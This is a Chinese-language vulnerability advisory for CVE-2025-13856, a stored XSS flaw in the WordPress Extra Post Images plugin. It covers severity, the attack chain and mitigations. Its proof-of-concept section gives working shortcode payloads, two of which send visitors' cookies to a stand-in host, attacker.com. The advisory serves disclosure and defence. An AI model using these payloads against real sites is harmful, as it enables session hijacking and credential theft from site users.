IPBUF安全漏洞报告
English
CVE-2025-13856 CVSS 6.4 中危

CVE-2025-13856 WordPress Extra Post Images插件存储型XSS漏洞

披露日期: 2025-12-06

漏洞信息

漏洞编号
CVE-2025-13856
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Extra Post Images插件

相关标签

CVE-2025-13856WordPress插件漏洞存储型XSSExtra Post Images短代码注入身份验证绕过CVSS 6.4中危漏洞WordPress安全Web应用安全

漏洞概述

CVE-2025-13856是WordPress Extra Post Images插件中的一个存储型跨站脚本(Stored XSS)漏洞。该插件用于在WordPress文章中显示额外图片。漏洞根源在于插件对extra-images短代码中的'id'参数处理不当,未进行充分的输入清理和输出转义。攻击者只需拥有Contributor(贡献者)级别或更高的权限,即可利用此漏洞在受影响的页面中注入任意JavaScript脚本。由于是存储型XSS,恶意脚本会被永久保存在服务器端,任何访问包含恶意内容页面的用户都会触发执行,可能导致会话劫持、凭据窃取、重定向攻击等严重后果。该漏洞影响该插件1.0及以下所有版本。

技术细节

漏洞位于WordPress Extra Post Images插件的epi.php文件中,具体在处理extra-images短代码的'id'参数时存在输入验证缺陷。攻击者通过构造恶意的短代码参数,可以注入任意HTML/JavaScript代码。由于插件直接将该参数值输出到页面而未进行适当的HTML转义,恶意脚本会被浏览器解析执行。攻击流程如下:1)攻击者创建或编辑文章;2)插入包含恶意'id'参数的extra-images短代码;3)文章保存后,恶意代码被存储在数据库中;4)其他用户访问该文章时,恶意脚本自动执行。漏洞利用条件低,仅需低权限账户即可实施攻击,且无需目标用户交互。攻击者可窃取管理员Cookie、提升权限或植入钓鱼内容。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站使用的WordPress Extra Post Images插件版本,确认版本≤1.0
STEP 2
权限获取
攻击者获取WordPress Contributor级别或更高权限的账户(通过社工、凭据泄露或注册功能)
STEP 3
恶意载荷构造
构造包含XSS payload的extra-images短代码,使用id参数注入JavaScript代码
STEP 4
漏洞植入
在文章或页面中插入恶意短代码并发布,payload被存储到数据库
STEP 5
脚本执行
受害者访问包含恶意内容的页面,浏览器解析并执行注入的JavaScript代码
STEP 6
数据窃取/攻击完成
攻击者通过XSS窃取受害者Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- WordPress Extra Post Images Plugin XSS PoC --> <!-- Author: Security Researcher --> <!-- Target: CVE-2025-13856 --> <!-- Basic XSS payload in extra-images shortcode --> [extra-images id='"><script>alert(document.cookie)</script>'] <!-- Alternative payload with event handler --> [extra-images id='123" onmouseover="alert(\'XSS\');'] <!-- Stealer payload to exfiltrate cookies --> [extra-images id='"><img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'] <!-- WordPress admin exploitation script --> [extra-images id='"><script>fetch("https://attacker.com/api/admin",{method:"POST",body:document.cookie})</script>']

影响范围

WordPress Extra Post Images插件 <= 1.0

防御指南

临时缓解措施
如果无法立即更新插件,可临时采取以下措施:1)限制或禁用低权限用户创建/编辑文章的权限;2)使用WordPress安全插件(如Wordfence)提供额外的XSS防护;3)在主题的functions.php中添加过滤器清理shortcode输出;4)考虑临时禁用Extra Post Images插件,待官方发布修复版本后再启用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表